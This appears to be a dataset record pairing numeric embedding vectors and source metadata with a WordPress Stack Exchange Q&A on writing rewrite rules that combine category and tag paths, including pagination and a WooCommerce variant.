-0.00977325439453125, 0.012603759765625, 0.06719970703125, 0.042633056640625, -0.0162200927734375, 0.023284912109375, 0.0111846923828125, 0.0218963623046875, 0.03753662109375, -0.0169677734375, -0.013153076171875, -0.044830322265625, 0.02923583984375, -0.00585174560546875, -0.00457000732421875, -0.002521514892578125, 0.0132293701171875, 0.002460479736328125, -0.05963134765625, 0.032958984375, -0.05072021484375, 0.01146697998046875, -0.032989501953125, -0.020263671875, 0.0084686279296875, 0.10186767578125, -0.00594329833984375, -0.02105712890625, 0.049652099609375, 0.01203155517578125, -0.051116943359375, 0.05517578125, -0.072021484375, -0.0003838539123535156, 0.006427764892578125, -0.033538818359375, -0.004726409912109375, -0.02508544921875, 0.010284423828125, 0.003017425537109375, 0.02996826171875, -0.004184722900390625, 0.0310516357421875, -0.061614990234375, -0.0048980712890625, 0.01468658447265625, -0.024200439453125, -0.0119171142578125, -0.01255035400390625, -0.0531005859375, -0.06396484375, -0.0160980224609375, -0.0197906494140625, 0.058502197265625, 0.0171661376953125, -0.0012369155883789062, -0.0182647705078125, 0.040283203125, 0.00977325439453125, -0.0019702911376953125, -0.007335662841796875, 0.0024394989013671875, -0.00830078125, -0.038482666015625, -0.0186767578125, -0.0364990234375, -0.0364990234375, -0.036773681640625, 0.0277557373046875, -0.004291534423828125, -0.0355224609375, -0.0050201416015625, -0.0270233154296875, 0.01519012451171875, -0.0390625, -0.007518768310546875, 0.0015544891357421875, 0.039154052734375, -0.01351165771484375, 0.006259918212890625, -0.028778076171875, -0.04193115234375, 0.07666015625, 0.004840850830078125, -0.00487518310546875, -0.0220794677734375, 0.0736083984375, 0.0148162841796875, -0.0290679931640625, -0.0236358642578125, 0.006755828857421875, 0.02362060546875, -0.0006914138793945312, 0.05780029296875, 0.0022678375244140625, -0.008026123046875, 0.060302734375, 0.00266265869140625, -0.0273590087890625, 0.0173797607421875, 0.00855255126953125, 0.01314544677734375, -0.023040771484375, 0.00611114501953125, 0.01030731201171875, 0.006805419921875, 0.0170135498046875, -0.00849151611328125, 0.023193359375, 0.031402587890625, -0.0172119140625, -0.006183624267578125, -0.04888916015625, -0.0220794677734375, -0.01837158203125, 0.01450347900390625, -0.07965087890625, 0.026031494140625, 0.005558013916015625, -0.00798797607421875, -0.01468658447265625, -0.00714111328125, -0.030975341796875, 0.016571044921875, -0.0018711090087890625, 0.025177001953125, 0.0287628173828125, -0.0121307373046875, -0.026763916015625, -0.0100555419921875, -0.00968170166015625, 0.07879638671875, 0.00035381317138671875, -0.040679931640625, -0.0130462646484375, -0.0280609130859375, 0.01435089111328125, 0.0148468017578125, -0.03533935546875, 0.0213623046875, 0.00865936279296875, -0.042633056640625, -0.006328582763671875, -0.01029205322265625, -0.059173583984375, -0.041473388671875, 0.00533294677734375, -0.007030487060546875, -0.00018131732940673828, -0.00434112548828125, 0.041839599609375, 0.0260009765625, 0.0036678314208984375, -0.0343017578125, 0.02960205078125, 0.0205230712890625, 0.0204010009765625, -0.01763916015625, 0.0283203125, 0.01332855224609375, -0.0013360977172851562, 0.03289794921875, -0.0391845703125, 0.0081634521484375, -0.0013904571533203125, 0.05462646484375, 0.02728271484375, 0.003398895263671875, 0.006305694580078125, -0.028289794921875, -0.0092010498046875, -0.0101776123046875, -0.058624267578125, -0.0045166015625, -0.01322174072265625, 0.00311279296875, 0.0247802734375, -0.00897979736328125, -0.0267181396484375, -0.0031299591064453125, -0.02606201171875, 0.0513916015625, -0.00003069639205932617, 0.0224761962890625, 0.009521484375, -0.024139404296875, 0.034423828125, -0.032684326171875, -0.0352783203125, 0.006656646728515625, 0.01435089111328125, -0.024627685546875, -0.0124969482421875, 0.0208587646484375, -0.0107269287109375, 0.0008530616760253906, -0.0239715576171875, 0.01378631591796875, -0.07659912109375, -0.0081024169921875, 0.06048583984375, 0.03814697265625, 0.01418304443359375, -0.04034423828125, -0.038482666015625, -0.0289154052734375, -0.0265960693359375, -0.02606201171875, -0.0171356201171875, 0.00873565673828125, -0.0112762451171875, 0.012054443359375, -0.0186920166015625, -0.01030731201171875, -0.00586700439453125, 0.0216064453125, -0.0006504058837890625, 0.00897216796875, -0.019439697265625, 0.072509765625, -0.0242156982421875, 0.0694580078125, 0.00905609130859375, 0.0223236083984375, -0.030609130859375, -0.01000213623046875, 0.01317596435546875, -0.07244873046875, -0.009857177734375, -0.01245880126953125, -0.0190277099609375, 0.000926971435546875, -0.026031494140625, 0.001861572265625, -0.005939483642578125, -0.0225067138671875, 0.0011625289916992188, -0.0274505615234375, 0.045806884765625, -0.013763427734375, 0.0102691650390625, -0.006824493408203125, -0.0268707275390625, 0.01247406005859375, 0.004688262939453125, -0.020233154296875, 0.00012111663818359375, 0.002826690673828125, -0.0239715576171875, 0.033111572265625, -0.00992584228515625, 0.050384521484375, 0.085205078125, -0.0202789306640625, 0.01207733154296875, 0.033966064453125, -0.0250396728515625, -0.01406097412109375, 0.035552978515625, -0.0474853515625, -0.01300811767578125, 0.01346588134765625, 0.005298614501953125, -0.036834716796875, -0.0123748779296875, -0.02197265625, -0.00022780895233154297, 0.04559326171875, 0.060943603515625, -0.044830322265625, -0.0022735595703125, 0.031829833984375, -0.056640625, -0.056854248046875, -0.0154266357421875, -0.01137542724609375, -0.01433563232421875, 0.0288238525390625, 0.031219482421875, -0.033447265625, -0.0090789794921875, 0.01160430908203125, -0.015960693359375, -0.023040771484375, 0.04949951171875, 0.01024627685546875, 0.0181121826171875, -0.002590179443359375, -0.05169677734375, 0.043792724609375, 0.00261688232421875, 0.05181884765625, -0.0128936767578125, 0.0030231475830078125, -0.0156707763671875, 0.0242462158203125, 0.004367828369140625, -0.0266571044921875, -0.010833740234375, 0.04730224609375, 0.0070648193359375, 0.029388427734375, 0.007129669189453125, -0.0123748779296875, 0.01041412353515625, 0.0203857421875, -0.007617950439453125, -0.0060272216796875, 0.0100555419921875, 0.003765106201171875, -0.044281005859375, 0.023101806640625, -0.0447998046875, 0.002918243408203125, -0.003925323486328125, 0.044891357421875, 0.056976318359375, -0.002254486083984375, -0.0323486328125, 0.047576904296875, 0.0022869110107421875, -0.0218963623046875, 0.00992584228515625, 0.010986328125, -0.050750732421875, -0.04510498046875, 0.011566162109375, -0.06878662109375, -0.043670654296875, -0.01090240478515625, -0.03240966796875, 0.068359375, 0.0041961669921875, -0.0089111328125, 0.027740478515625, 0.029144287109375, -0.037841796875, 0.005641937255859375, 0.0035858154296875, 0.040008544921875, 0.006847381591796875, 0.01322174072265625, -0.0099334716796875, -0.016845703125, 0.0207061767578125, 0.043121337890625, -0.007633209228515625, 0.0019893646240234375, -0.02825927734375, 0.013885498046875, 0.0299835205078125, 0.0293731689453125, 0.022979736328125, 0.0230560302734375, -0.0130767822265625, -0.0162353515625, 0.03912353515625, -0.00858306884765625, 0.0191650390625, 0.010955810546875, -0.00203704833984375, 0.006404876708984375, 0.0162200927734375, 0.037322998046875, 0.0016117095947265625, 0.01386260986328125, 0.01372528076171875, -0.01580810546875, 0.00861358642578125, -0.06219482421875, 0.01160430908203125, 0.00592041015625, 0.0122222900390625, -0.05255126953125, 0.0204620361328125, -0.02642822265625, 0.05706787109375, -0.018218994140625, -0.0254974365234375, 0.0018548965454101562, -0.005359649658203125, 0.01416778564453125, 0.003875732421875, -0.0269775390625, 0.0178375244140625, 0.00917816162109375, 0.0283660888671875, 0.01509857177734375, 0.0211029052734375, -0.0269012451171875, 0.0191650390625, 0.036773681640625, 0.0439453125, -0.04779052734375, -0.035247802734375, 0.0243682861328125, 0.0343017578125, 0.01287078857421875, 0.010284423828125, 0.0193634033203125, 0.01421356201171875, 0.0592041015625, 0.0174560546875, 0.0013866424560546875, 0.00775909423828125, -0.01476287841796875, 0.00951385498046875, 0.037109375, 0.0142364501953125, 0.0225830078125, -0.01244354248046875, -0.01262664794921875, 0.00818634033203125, 0.046356201171875, 0.0009722709655761719, 0.0416259765625, -0.012664794921875, -0.0224609375, -0.0166168212890625, 0.049468994140625, -0.026763916015625, 0.036224365234375, -0.0662841796875, -0.061004638671875, -0.0307159423828125, 0.05743408203125, -0.0162506103515625, 0.07318115234375, 0.00814056396484375, 0.0194091796875, 0.04833984375, 0.003643035888671875, 0.055633544921875, -0.013092041015625, 0.01123046875, -0.01483917236328125, -0.028961181640625, -0.0103912353515625, -0.0189056396484375, -0.0097198486328125, 0.0223846435546875, 0.00025725364685058594, 0.0281219482421875, 0.0124969482421875, 0.0162506103515625, -0.0259552001953125, 0.022705078125, 0.0230712890625, 0.0229339599609375, 0.03826904296875, 0.0177154541015625, -0.0382080078125, 0.0257568359375, 0.05419921875, -0.0235595703125, 0.00836944580078125, 0.0309295654296875, 0.01788330078125, 0.016876220703125, -0.0269775390625, -0.0024700164794921875, 0.0465087890625, -0.0262603759765625, -0.0196380615234375, 0.04302978515625, -0.0269622802734375, 0.000316619873046875, -0.00820159912109375, 0.0268096923828125, 0.019195556640625, 0.0017538070678710938, 0.0093231201171875, -0.004894256591796875, 0.026397705078125, -0.0004875659942626953, 0.035247802734375, -0.0219268798828125, -0.00019431114196777344, -0.007598876953125, 0.0280609130859375, 0.032806396484375, -0.0201416015625, 0.016448974609375, 0.0047607421875, 0.034759521484375, -0.06988525390625, 0.0078887939453125, -0.0226898193359375, 0.00450897216796875, -0.0384521484375, -0.0253448486328125, -0.02618408203125, -0.01013946533203125, 0.00591278076171875, -0.004230499267578125, 0.0214691162109375, 0.0224456787109375, 0.0098419189453125, 0.0289764404296875, -0.0261383056640625, 0.004024505615234375, -0.008514404296875, -0.01071929931640625, -0.0218048095703125, 0.031524658203125, -0.031463623046875, -0.01163482666015625, 0.0279388427734375, -0.013275146484375, -0.001590728759765625, 0.0182342529296875, 0.01270294189453125, 0.02569580078125, -0.0714111328125, 0.006763458251953125, 0.0487060546875, 0.029815673828125, -0.0029048919677734375, 0.0147552490234375, 0.0350341796875, -0.03118896484375, 0.01441192626953125, 0.0509033203125, -0.00370025634765625, 0.011474609375, -0.036163330078125, -0.005382537841796875, -0.014068603515625, -0.045745849609375, -0.048187255859375, -0.009979248046875, 0.02166748046875, -0.016357421875, -0.007312774658203125, 0.004383087158203125, -0.02801513671875, 0.013336181640625, -0.0233154296875, -0.029510498046875, -0.007122039794921875, 0.00493621826171875, -0.0014524459838867188, -0.047943115234375, -0.046630859375, 0.060943603515625, -0.01296234130859375, 0.016082763671875, 0.034149169921875, -0.015289306640625, 0.02862548828125, 0.019073486328125, 0.0153656005859375, 0.07354736328125, -0.0206298828125, -0.0218963623046875, -0.00045013427734375, -0.0009074211120605469, -0.01152801513671875, -0.058319091796875, 0.022491455078125, -0.09527587890625, -0.01215362548828125, -0.046295166015625, 0.005756378173828125, -0.0145416259765625, -0.045928955078125, -0.09466552734375, 0.037261962890625, -0.0304412841796875, -0.034698486328125, -0.0225677490234375, -0.0085906982421875, -0.0177764892578125, 0.07757568359375, 0.007678985595703125, 0.00014090538024902344, -0.01068115234375, 0.036346435546875, 0.046630859375, -0.002544403076171875, 0.0164947509765625, 0.044830322265625, -0.075439453125, 0.0472412109375, 0.01335906982421875, 0.0546875, -0.0057373046875, 0.0095672607421875, 0.0270843505859375, 0.039031982421875, -0.027435302734375, 0.061309814453125, 0.00298309326171875, 0.00007337331771850586, -0.0005674362182617188, 0.052520751953125, -0.015228271484375, 0.0211639404296875, 0.037506103515625, 0.056396484375, 0.0220794677734375, -0.032012939453125, -0.0423583984375, -0.043243408203125, -0.0377197265625, -0.0438232421875, 0.037200927734375, -0.11041259765625, -0.0198822021484375, 0.024993896484375, -0.013641357421875, 0.004302978515625, 0.037445068359375, -0.0175323486328125, 0.00019156932830810547, 0.019683837890625, -0.0611572265625, -0.026214599609375, -0.03533935546875, 0.0968017578125, -0.055145263671875, -0.01549530029296875, 0.039276123046875, 0.01161956787109375, 0.0288238525390625, 0.052215576171875, -0.01666259765625, -0.039154052734375, 0.048919677734375, 0.025848388671875, 0.02593994140625, -0.03826904296875, 0.0511474609375, -0.002552032470703125, 0.0015039443969726562, 0.04534912109375, 0.00963592529296875, 0.060821533203125, -0.03631591796875, 0.0677490234375, 0.025238037109375, 0.013885498046875, 0.0088653564453125, -0.0780029296875, -0.04754638671875, 0.043701171875, -0.0014429092407226562, -0.041839599609375, 0.0195159912109375, -0.0107879638671875, 0.00791168212890625, -0.038421630859375, -0.01202392578125, -0.01348876953125, -0.01541900634765625, 0.0002295970916748047, -0.035369873046875, 0.0159912109375 ]
c9e54282fd3bda34018e23d651690feb2a6eac59
Wordpress Stackexchange Q: Rewrite URL with category and tag combined using WP_Rewrite I know how to query posts with my custom query var, but I am trying to rewrite the following URL from this... https://www.fashionavocado.com/category/healthy-living/relationships/?tag=flock to this... https://www.fashionavocado.com/category/healthy-living/relationships/tag/flock I can't seem to combine the pre-existing category/subcategory with the tag. Here's some code I started with function myplugin_rewrite_tag_rule() { add_rewrite_tag( '%tag%', '([^&]+)' ); add_rewrite_rule( '^tag/([^/]*)/?', 'index.php?tag=$matches[1]','top' ); } add_action('init', 'myplugin_rewrite_tag_rule', 10, 0); I know this won't work because I need the category parameter as a query var. A: These should work for you: function myplugin_rewrite_tag_rule() { add_rewrite_rule( 'category/(.+?)/tag/([^/]+)/?$', 'index.php?category_name=$matches[1]&tag=$matches[2]', 'top' ); add_rewrite_rule( 'category/(.+?)/tag/([^/]+)/page/?([0-9]{1,})/?$', 'index.php?category_name=$matches[1]&tag=$matches[2]&paged=$matches[3]', 'top' ); } add_action('init', 'myplugin_rewrite_tag_rule', 10, 0); The second rule is to support pagination so you can have: https://example.com/category/healthy-living/relationships/tag/flock as well as: https://example.com/category/healthy-living/relationships/tag/flock/page/2/ Note that you don't need to add a rewrite tag, as it's already added by core.
Q: Rewrite URL with category and tag combined using WP_Rewrite I know how to query posts with my custom query var, but I am trying to rewrite the following URL from this... https://www.fashionavocado.com/category/healthy-living/relationships/?tag=flock to this... https://www.fashionavocado.com/category/healthy-living/relationships/tag/flock I can't seem to combine the pre-existing category/subcategory with the tag. Here's some code I started with function myplugin_rewrite_tag_rule() { add_rewrite_tag( '%tag%', '([^&]+)' ); add_rewrite_rule( '^tag/([^/]*)/?', 'index.php?tag=$matches[1]','top' ); } add_action('init', 'myplugin_rewrite_tag_rule', 10, 0); I know this won't work because I need the category parameter as a query var. A: These should work for you: function myplugin_rewrite_tag_rule() { add_rewrite_rule( 'category/(.+?)/tag/([^/]+)/?$', 'index.php?category_name=$matches[1]&tag=$matches[2]', 'top' ); add_rewrite_rule( 'category/(.+?)/tag/([^/]+)/page/?([0-9]{1,})/?$', 'index.php?category_name=$matches[1]&tag=$matches[2]&paged=$matches[3]', 'top' ); } add_action('init', 'myplugin_rewrite_tag_rule', 10, 0); The second rule is to support pagination so you can have: https://example.com/category/healthy-living/relationships/tag/flock as well as: https://example.com/category/healthy-living/relationships/tag/flock/page/2/ Note that you don't need to add a rewrite tag, as it's already added by core. A: Try to apply your code into woocommerce category with tag, but it does not work. Something wrong with my code? function myplugin_rewrite_tag_rule() { add_rewrite_rule( 'store/(.+?)/product_tag/([^/]+)/?$', 'index.php?product_cat=$matches[1]&product_tag=$matches[2]', 'top' ); add_rewrite_rule( 'store/(.+?)/product_tag/([^/]+)/page/?([0-9]{1,})/?$', 'index.php?product_cat=$matches[1]&product_tag=$matches[2]&paged=$matches[3]', 'top' ); } add_action('init', 'myplugin_rewrite_tag_rule', 10, 0);
wordpress
{ "language": "en", "length": 179, "provenance": "stackexchange_00019.jsonl.gz:488822", "question_score": "4", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/312324" }
[ 0.049713134765625, -0.00988006591796875, -0.004673004150390625, -0.0908203125, 0.0118408203125, -0.004749298095703125, 0.0124053955078125, 0.0226287841796875, -0.0296478271484375, -0.0013217926025390625, 0.00609588623046875, 0.01277923583984375, -0.0003974437713623047, -0.05767822265625, 0.0638427734375, -0.0067138671875, 0.01424407958984375, 0.01483154296875, 0.03643798828125, -0.00433349609375, 0.0203704833984375, 0.0022125244140625, 0.00879669189453125, 0.03326416015625, 0.0206451416015625, -0.01959228515625, 0.052215576171875, -0.0303192138671875, 0.00887298583984375, -0.0283660888671875, 0.0202789306640625, -0.0007925033569335938, 0.049041748046875, -0.004161834716796875, -0.029541015625, -0.0210723876953125, 0.0287628173828125, -0.0261077880859375, -0.032745361328125, 0.04498291015625, 0.057037353515625, -0.049041748046875, 0.037017822265625, 0.011322021484375, 0.033538818359375, -0.04583740234375, 0.0701904296875, -0.078857421875, -0.0196380615234375, -0.005992889404296875, 0.007221221923828125, 0.032684326171875, 0.0024967193603515625, -0.007205963134765625, 0.006839752197265625, 0.029541015625, 0.006816864013671875, -0.0153350830078125, 0.00980377197265625, 0.0113067626953125, -0.0017528533935546875, 0.0150299072265625, -0.00042438507080078125, -0.00614166259765625, -0.0232696533203125, -0.00363922119140625, 0.004405975341796875, -0.0018091201782226562, -0.00533294677734375, -0.0255889892578125, 0.022216796875, -0.0013399124145507812, -0.01541900634765625, 0.02191162109375, -0.031890869140625, -0.016937255859375, 0.01366424560546875, 0.0004019737243652344, 0.0231170654296875, 0.01953125, 0.00278472900390625, -0.0004742145538330078, -0.025543212890625, -0.024658203125, 0.0124359130859375, -0.01262664794921875, -0.006069183349609375, -0.005229949951171875, -0.019073486328125, -0.00308990478515625, -0.02227783203125, -0.04217529296875, -0.015625, 0.001384735107421875, 0.01241302490234375, -0.0357666015625, 0.033172607421875, 0.0217742919921875, 0.0186920166015625, 0.0238037109375, 0.031951904296875, -0.0653076171875, 0.08416748046875, -0.049224853515625, 0.0247650146484375, 0.08721923828125, -0.00421142578125, 0.09271240234375, 0.0859375, -0.01019287109375, 0.03192138671875, 0.0616455078125, -0.0307159423828125, 0.03485107421875, -0.04498291015625, -0.003170013427734375, -0.07330322265625, -0.00527191162109375, -0.028228759765625, 0.0089263916015625, -0.0272064208984375, 0.025543212890625, -0.031036376953125, 0.006732940673828125, 0.00815582275390625, 0.00551605224609375, 0.03216552734375, -0.01329803466796875, -0.014678955078125, -0.017364501953125, -0.005947113037109375, 0.05255126953125, 0.0202178955078125, -0.004558563232421875, -0.0281524658203125, 0.0104522705078125, 0.05938720703125, -0.051727294921875, -0.03619384765625, 0.029449462890625, -0.0010824203491210938, -0.037628173828125, -0.0200347900390625, -0.031219482421875, 0.01436614990234375, 0.024017333984375, 0.024261474609375, 0.0159149169921875, -0.0094451904296875, -0.0195770263671875, 0.03179931640625, -0.053619384765625, 0.06707763671875, -0.01702880859375, -0.051239013671875, -0.0098876953125, 0.00400543212890625, -0.01502227783203125, -0.036041259765625, -0.031829833984375, 0.025299072265625, 0.00225830078125, 0.0270843505859375, -0.035308837890625, -0.053314208984375, -0.0300140380859375, -0.065185546875, -0.01123046875, 0.0223846435546875, 0.0307159423828125, 0.025970458984375, 0.026458740234375, 0.0276336669921875, 0.028778076171875, 0.0262451171875, -0.00792694091796875, 0.0204010009765625, 0.0290679931640625, -0.01149749755859375, 0.0672607421875, 0.0096435546875, -0.05401611328125, 0.00621795654296875, -0.0205078125, -0.0653076171875, 0.07867431640625, -0.00884246826171875, 0.0706787109375, 0.00605010986328125, -0.004970550537109375, 0.04351806640625, 0.00848388671875, -0.038818359375, -0.00624847412109375, 0.001800537109375, -0.00506591796875, -0.0006413459777832031, 0.006122589111328125, -0.0014543533325195312, -0.020599365234375, -0.0247802734375, 0.037109375, -0.038116455078125, 0.0062408447265625, -0.057098388671875, 0.0171661376953125, -0.033538818359375, 0.05413818359375, -0.01351165771484375, 0.016265869140625, 0.00524139404296875, -0.0028934478759765625, -0.02557373046875, 0.00106048583984375, 0.01251220703125, 0.024871826171875, 0.018585205078125, 0.006366729736328125, -0.00004965066909790039, 0.00528717041015625, 0.033203125, 0.00959014892578125, 0.006053924560546875, 0.039947509765625, 0.042388916015625, 0.023834228515625, -0.035858154296875, -0.01113128662109375, -0.03057861328125, 0.0289154052734375, -0.1075439453125, 0.049957275390625, 0.035675048828125, 0.03338623046875, -0.0496826171875, 0.00705718994140625, -0.0048675537109375, 0.0050811767578125, -0.01413726806640625, 0.033660888671875, 0.027801513671875, -0.005054473876953125, -0.057769775390625, -0.041290283203125, 0.0035457611083984375, -0.0654296875, -0.0188140869140625, -0.0039520263671875, -0.036895751953125, 0.0233001708984375, 0.040191650390625, 0.0205230712890625, 0.00023663043975830078, -0.0074462890625, -0.005878448486328125, 0.0166778564453125, -0.00301361083984375, -0.0013370513916015625, -0.016082763671875, -0.00957489013671875, 0.008453369140625, -0.01416015625, -0.0308380126953125, 0.0028209686279296875, 0.0185394287109375, -0.0128173828125, 0.0103912353515625, 0.01294708251953125, -0.00832366943359375, -0.0117645263671875, 0.011383056640625, 0.0039215087890625, -0.01465606689453125, 0.01690673828125, 0.021240234375, -0.0277862548828125, -0.03973388671875, 0.0186614990234375, 0.0111236572265625, -0.0004429817199707031, -0.0057373046875, 0.07403564453125, 0.01158905029296875, -0.0182037353515625, -0.041046142578125, -0.07415771484375, -0.0207672119140625, 0.0021648406982421875, 0.01549530029296875, 0.0185546875, 0.0283966064453125, 0.03533935546875, 0.0006508827209472656, 0.018524169921875, 0.026031494140625, -0.02154541015625, 0.0195465087890625, -0.01511383056640625, 0.025482177734375, -0.0194091796875, 0.042236328125, 0.051971435546875, -0.001201629638671875, -0.00809478759765625, 0.009033203125, 0.0100555419921875, -0.0014667510986328125, 0.0037937164306640625, 0.00646209716796875, -0.0030155181884765625, -0.0089569091796875, 0.05169677734375, 0.0293121337890625, 0.01447296142578125, 0.0255584716796875, -0.016143798828125, 0.00391387939453125, 0.025360107421875, -0.05126953125, -0.07330322265625, 0.02490234375, -0.0260467529296875, -0.00290679931640625, 0.0611572265625, -0.0187835693359375, -0.026123046875, 0.0799560546875, -0.006683349609375, -0.022491455078125, -0.0163726806640625, -0.0789794921875, -0.0902099609375, -0.105712890625, 0.01261138916015625, -0.00885772705078125, 0.026763916015625, 0.0163421630859375, 0.037078857421875, 0.0244598388671875, -0.0287628173828125, 0.05462646484375, -0.016326904296875, -0.02838134765625, 0.0243682861328125, -0.01068115234375, -0.0269622802734375, 0.011260986328125, -0.0143280029296875, 0.0443115234375, 0.03436279296875, -0.0267486572265625, 0.0281982421875, 0.006740570068359375, -0.010833740234375, 0.02630615234375, -0.0146026611328125, -0.019622802734375, 0.0151519775390625, 0.035675048828125, -0.0299835205078125, -0.022308349609375, -0.0189361572265625, -0.040618896484375, -0.00911712646484375, 0.026824951171875, 0.00714874267578125, 0.002056121826171875, -0.01505279541015625, 0.006366729736328125, -0.014251708984375, 0.03253173828125, -0.046478271484375, 0.012786865234375, -0.00994110107421875, 0.0166473388671875, -0.016876220703125, 0.0037021636962890625, -0.0261688232421875, 0.0248870849609375, -0.0162811279296875, -0.03497314453125, -0.03802490234375, 0.0313720703125, -0.03631591796875, -0.0017642974853515625, 0.025299072265625, -0.028411865234375, -0.00817108154296875, -0.035888671875, 0.01013946533203125, -0.06292724609375, 0.00606536865234375, -0.03472900390625, -0.0106658935546875, -0.01190185546875, 0.01885986328125, -0.0211334228515625, -0.0576171875, -0.02227783203125, -0.022613525390625, -0.0963134765625, 0.002349853515625, -0.031646728515625, -0.016387939453125, 0.035308837890625, -0.0340576171875, -0.0151519775390625, -0.06890869140625, 0.06072998046875, 0.003314971923828125, -0.00592803955078125, 0.0247802734375, -0.0180511474609375, -0.0023784637451171875, -0.0703125, 0.042999267578125, -0.03656005859375, -0.0010356903076171875, 0.01428985595703125, -0.0004718303680419922, -0.002407073974609375, -0.016510009765625, -0.017578125, 0.030548095703125, 0.0087738037109375, -0.0099945068359375, 0.016021728515625, 0.0003180503845214844, -0.0225830078125, 0.0199127197265625, 0.00621795654296875, -0.0230560302734375, -0.0167388916015625, -0.0026874542236328125, 0.010772705078125, 0.038238525390625, -0.012054443359375, -0.0020275115966796875, -0.0025577545166015625, -0.01123046875, -0.1019287109375, -0.028656005859375, -0.0197296142578125, -0.03924560546875, 0.01348114013671875, -0.0599365234375, -0.00295257568359375, -0.053619384765625, 0.0296630859375, -0.016082763671875, -0.0147552490234375, 0.0078125, 0.07574462890625, 0.0166473388671875, -0.0161895751953125, 0.0002206563949584961, 0.02532958984375, 0.045440673828125, 0.00945281982421875, 0.032196044921875, 0.0207977294921875, -0.0273284912109375, 0.03466796875, 0.03369140625, 0.0172271728515625, -0.01666259765625, 0.0224151611328125, -0.0157623291015625, -0.023712158203125, 0.0149993896484375, -0.01953125, 0.00928497314453125, 0.025238037109375, -0.01436614990234375, 0.00732421875, -0.00444793701171875, 0.004619598388671875, -0.0215606689453125, 0.0160675048828125, -0.00006824731826782227, -0.01666259765625, 0.007617950439453125, 0.06585693359375, 0.045806884765625, 0.01308441162109375, -0.0023746490478515625, 0.0318603515625, 0.0308685302734375, -0.020111083984375, -0.022064208984375, 0.0117034912109375, -0.051300048828125, 0.005084991455078125, -0.03466796875, -0.05792236328125, -0.01187896728515625, 0.0111083984375, -0.02789306640625, -0.01267242431640625, -0.00428009033203125, -0.0145416259765625, -0.019287109375, -0.015594482421875, 0.0217742919921875, -0.0421142578125, 0.0003924369812011719, 0.01058197021484375, -0.0102081298828125, 0.02215576171875, -0.028900146484375, -0.019287109375, -0.0248565673828125, 0.01556396484375, -0.0025730133056640625, -0.023345947265625, -0.03564453125, 0.06256103515625, -0.01910400390625, 0.0128021240234375, 0.01503753662109375, -0.0026378631591796875, -0.0087738037109375, 0.040283203125, 0.0085601806640625, 0.0106353759765625, -0.00241851806640625, 0.01222991943359375, 0.011199951171875, -0.0191802978515625, 0.00948333740234375, 0.01202392578125, 0.049102783203125, -0.006069183349609375, -0.0167999267578125, 0.0135040283203125, -0.0491943359375, -0.0287322998046875, -0.0179290771484375, 0.007755279541015625, 0.0169677734375, -0.03155517578125, -0.0311431884765625, 0.01113128662109375, 0.033843994140625, -0.027313232421875, 0.003631591796875, -0.0596923828125, 0.0207366943359375, 0.05657958984375, 0.005977630615234375, 0.009307861328125, -0.021820068359375, -0.0191192626953125, -0.03424072265625, 0.0181121826171875, -0.00894927978515625, 0.0298614501953125, -0.048553466796875, -0.036529541015625, 0.0443115234375, 0.004314422607421875, 0.052642822265625, -0.0201263427734375, -0.036346435546875, 0.048004150390625, -0.029541015625, 0.07122802734375, 0.0160675048828125, 0.0072784423828125, -0.0021381378173828125, -0.060943603515625, -0.018157958984375, 0.058258056640625, 0.00641632080078125, 0.00865936279296875, -0.031646728515625, 0.00852203369140625, 0.049072265625, -0.00711822509765625, 0.005992889404296875, -0.0230865478515625, -0.035980224609375, -0.0146636962890625, 0.039031982421875, -0.007053375244140625, 0.0295867919921875, -0.0157928466796875, 0.0303955078125, -0.01306915283203125, -0.01053619384765625, -0.0278472900390625, 0.0018663406372070312, -0.01477813720703125, -0.05731201171875, -0.0308990478515625, 0.0014190673828125, -0.0272674560546875, 0.06756591796875, 0.071044921875, 0.016082763671875, 0.01300811767578125, -0.011199951171875, 0.011993408203125, -0.0204010009765625, 0.006473541259765625, -0.03118896484375, 0.0259857177734375, 0.017120361328125, 0.0275115966796875, 0.046661376953125, -0.0302276611328125, 0.0201263427734375, -0.05291748046875, -0.007080078125, -0.0015621185302734375, 0.00749969482421875, -0.0273284912109375, 0.00948333740234375, 0.04913330078125, 0.01702880859375, 0.0294647216796875, -0.00031304359436035156, 0.022491455078125, 0.026153564453125, -0.0082244873046875, 0.033172607421875, 0.0333251953125, 0.031585693359375, -0.01255035400390625, 0.0343017578125, 0.0367431640625, -0.00586700439453125, 0.0031414031982421875, 0.039215087890625, 0.027313232421875, -0.058837890625, -0.00794219970703125, -0.01157379150390625, -0.0243377685546875, 0.01183319091796875, 0.053375244140625, -0.0173492431640625, 0.01525115966796875, -0.046234130859375, -0.033477783203125, -0.01419830322265625, -0.005962371826171875, 0.02557373046875, -0.00909423828125, 0.0086212158203125, -0.0003764629364013672, 0.0005826950073242188, 0.0020751953125, -0.028411865234375, 0.0305633544921875, -0.0102081298828125, 0.016876220703125, -0.0159759521484375, 0.0202484130859375, -0.035614013671875, -0.005115509033203125, 0.031280517578125, -0.030487060546875, -0.02056884765625, -0.0156707763671875, -0.030426025390625, -0.00799560546875, 0.0165252685546875, -0.0189361572265625, -0.0302581787109375, 0.0017061233520507812, -0.051513671875, 0.036956787109375, 0.0116729736328125, 0.0014781951904296875, -0.025238037109375, 0.01548004150390625, -0.0294342041015625, -0.031524658203125, 0.006473541259765625, -0.011383056640625, -0.037841796875, 0.0309906005859375, -0.0150909423828125, -0.0191192626953125, 0.01027679443359375, 0.01335906982421875, 0.022247314453125, -0.0087432861328125, -0.00872802734375, -0.036346435546875, -0.022979736328125, -0.0194091796875, -0.039398193359375, 0.03582763671875, -0.0311279296875, -0.07061767578125, 0.03314208984375, -0.008880615234375, 0.05572509765625, 0.0226287841796875, -0.003376007080078125, 0.00963592529296875, -0.0233154296875, -0.038665771484375, 0.0290985107421875, -0.031982421875, 0.02923583984375, -0.0185546875, 0.016265869140625, 0.027557373046875, 0.0260467529296875, 0.0687255859375, 0.021881103515625, -0.06964111328125, -0.0252685546875, 0.0121307373046875, 0.020355224609375, 0.004306793212890625, 0.055908203125, -0.007541656494140625, -0.00568389892578125, -0.01085662841796875, -0.04388427734375, -0.00397491455078125, -0.0221710205078125, -0.0214996337890625, 0.0277252197265625, 0.00632476806640625, 0.00940704345703125, -0.0310211181640625, 0.018096923828125, -0.0303802490234375, 0.0014696121215820312, 0.03607177734375, -0.0083465576171875, 0.01430511474609375, 0.012939453125, 0.031829833984375, -0.065673828125, -0.04290771484375, -0.02374267578125, 0.03155517578125, 0.009033203125, 0.024932861328125, 0.026519775390625, 0.02349853515625, 0.09356689453125, -0.02484130859375, 0.01303863525390625, -0.00847625732421875, -0.00978851318359375, 0.041961669921875, 0.01357269287109375, 